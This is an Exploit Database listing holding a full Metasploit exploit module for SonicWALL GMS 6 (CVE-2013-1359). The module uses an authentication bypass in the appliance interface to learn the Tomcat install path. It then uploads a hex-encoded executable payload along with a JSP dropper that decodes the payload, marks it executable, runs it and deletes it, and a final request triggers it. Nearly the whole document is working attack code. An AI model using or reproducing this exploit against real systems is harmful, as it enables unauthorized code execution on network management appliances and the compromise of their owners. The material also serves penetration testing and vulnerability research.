SonicWALL Gms 6 – Arbitrary File Upload (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-01-24
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/24322/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::EXE
  	include Msf::Exploit::FileDropper
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'SonicWALL GMS 6 Arbitrary File Upload',
  			'Description' => %q{
  					This module exploits a code execution flaw in SonicWALL GMS. It exploits two
  				vulnerabilities in order to get its objective. An authentication bypass in the
  				Web Administration interface allows to abuse the "appliance" application and upload
  				an arbitrary payload embedded in a JSP. The module has been tested successfully on
  				SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
  				Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
  				successfully while testing, shell payload have been used.
  			},
  			'Author' =>
  				[
  					'Nikolas Sotiriu', # Vulnerability Discovery
  					'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module
  					'juan vazquez' # Metasploit module
  				],
  			'License' => MSF_LICENSE,
  			'References'=>
  				[
  					[ 'CVE', '2013-1359'],
  					[ 'OSVDB', '89347' ],
  					[ 'BID', '57445' ],
  					[ 'EDB', '24204' ]
  				],
  			'Privileged'=> true,
  			'Platform'=> [ 'win', 'linux' ],
  			'Targets' =>
  				[
  					[ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',
  						{
  							'Arch' => ARCH_X86,
  							'Platform' => 'win'
  						}
  					],
  					[ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)',
  						{
  							'Arch' => ARCH_X86,
  							'Platform' => 'linux'
  						}
  					]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jan 17 2012'))
  
  		register_options(
  			[
  				Opt::RPORT(80),
  				OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
  			], self.class)
  	end
  
  
  	def on_new_session
  		# on_new_session will force stdapi to load (for Linux meterpreter)
  	end
  
  
  	def generate_jsp
  		var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_data= Rex::Text.rand_text_alpha(rand(8)+8)
  		var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_outputstream= Rex::Text.rand_text_alpha(rand(8)+8)
  		var_numbytes= Rex::Text.rand_text_alpha(rand(8)+8)
  		var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_comb= Rex::Text.rand_text_alpha(rand(8)+8)
  		var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
  		@var_hexfile= Rex::Text.rand_text_alpha(rand(8)+8)
  		var_proc= Rex::Text.rand_text_alpha(rand(8)+8)
  		var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
  		var_fdel= Rex::Text.rand_text_alpha(rand(8)+8)
  
  		jspraw ="<%@ page import=\"java.io.*\" %>\n"
  		jspraw << "<%\n"
  		jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
  		jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
  		jspraw << "String #{var_data} = \"\";\n"
  
  		jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
  		jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
  		jspraw << "}\n"
  
  		jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
  		jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
  
  		jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
  		jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
  		jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
  		jspraw << "#{var_inputstream}.close();\n"
  
  		jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
  		jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
  		jspraw << "{\n"
  		jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
  		jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
  		jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
  		jspraw << "#{var_comb} <<= 4;\n"
  		jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
  		jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
  		jspraw << "}\n"
  
  		jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
  		jspraw << "#{var_outputstream}.close();\n"
  
  		jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
  		jspraw << "String[] #{var_fperm} = new String[3];\n"
  		jspraw << "#{var_fperm}[0] = \"chmod\";\n"
  		jspraw << "#{var_fperm}[1] = \"+x\";\n"
  		jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
  		jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
  		jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
  		jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
  		jspraw << "}\n"
  		# Linux and other UNICES allow removing files while they are in use...
  		jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
  		jspraw << "} else {\n"
  		# Windows does not ..
  		jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
  		jspraw << "}\n"
  
  		jspraw << "%>\n"
  		return jspraw
  	end
  
  	def get_install_path
  		res = send_request_cgi(
  			{
  				'uri'=> "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
  				'method' => 'POST',
  				'connection' => 'TE, close',
  				'headers' =>
  					{
  						'TE' => "deflate,gzip;q=0.3",
  					},
  				'vars_post' => {
  					'num' => '123456',
  					'action' => 'show_diagnostics',
  					'task' => 'search',
  					'item' => 'application_log',
  					'criteria' => '*.*',
  					'width' => '500'
  				}
  			})
  
  		if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/
  			return $1
  		end
  
  		return nil
  	end
  
  	def upload_file(location, filename, contents)
  		post_data = Rex::MIME::Message.new
  		post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"")
  		post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"")
  		post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
  		post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")
  
  		data = post_data.to_s
  		data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
  
  		res = send_request_cgi(
  			{
  				'uri'=> "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
  				'method' => 'POST',
  				'data' => data,
  				'ctype'=> "multipart/form-data; boundary=#{post_data.bound}",
  				'headers' =>
  					{
  						'TE' => "deflate,gzip;q=0.3",
  					},
  				'connection' => 'TE, close'
  			})
  
  		if res and res.code == 200 and res.body.empty?
  			return true
  		else
  			return false
  		end
  	end
  
  	def check
  		@peer = "#{rhost}:#{rport}"
  		@uri = normalize_uri(target_uri.path)
  		@uri << '/' if @uri[-1,1] != '/'
  
  		if get_install_path.nil?
  			return Exploit::CheckCode::Safe
  		end
  
  		return Exploit::CheckCode::Vulnerable
  	end
  
  	def exploit
  		@peer = "#{rhost}:#{rport}"
  		@uri = normalize_uri(target_uri.path)
  		@uri << '/' if @uri[-1,1] != '/'
  
  		# Get Tomcat installation path
  		print_status("#{@peer} - Retrieving Tomcat installation path...")
  		install_path = get_install_path
  
  		if install_path.nil?
  			fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
  		end
  
  		print_good("#{@peer} - Tomcat installed on #{install_path}")
  
  		if target['Platform'] == "linux"
  			@location = "#{install_path}webapps/appliance/"
  		elsif target['Platform'] == "win"
  			@location = "#{install_path}webapps\\appliance\\"
  		end
  
  
  		# Upload the JSP and the raw payload
  		@jsp_name = rand_text_alphanumeric(8+rand(8))
  
  		jspraw = generate_jsp
  
  		# Specify the payload in hex as an extra file..
  		payload_hex = payload.encoded_exe.unpack('H*')[0]
  
  		print_status("#{@peer} - Uploading the payload")
  
  		if upload_file(@location, "#{@var_hexfile}.txt", payload_hex)
  			print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt")
  		else
  			fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload")
  		end
  
  		print_status("#{@peer} - Uploading the payload")
  
  		if upload_file(@location, "#{@jsp_name}.jsp", jspraw)
  			print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp")
  		else
  			fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp")
  		end
  
  		print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
  		res = send_request_cgi(
  			{
  				'uri'=> "#{@uri}appliance/#{@jsp_name}.jsp",
  				'method' => 'GET'
  			})
  
  		if res and res.code != 200
  			print_warning("#{@peer} - Error triggering the payload")
  		end
  
  		register_files_for_cleanup("#{@location}#{@var_hexfile}.txt")
  		register_files_for_cleanup("#{@location}#{@jsp_name}.jsp")
  	end
  
  end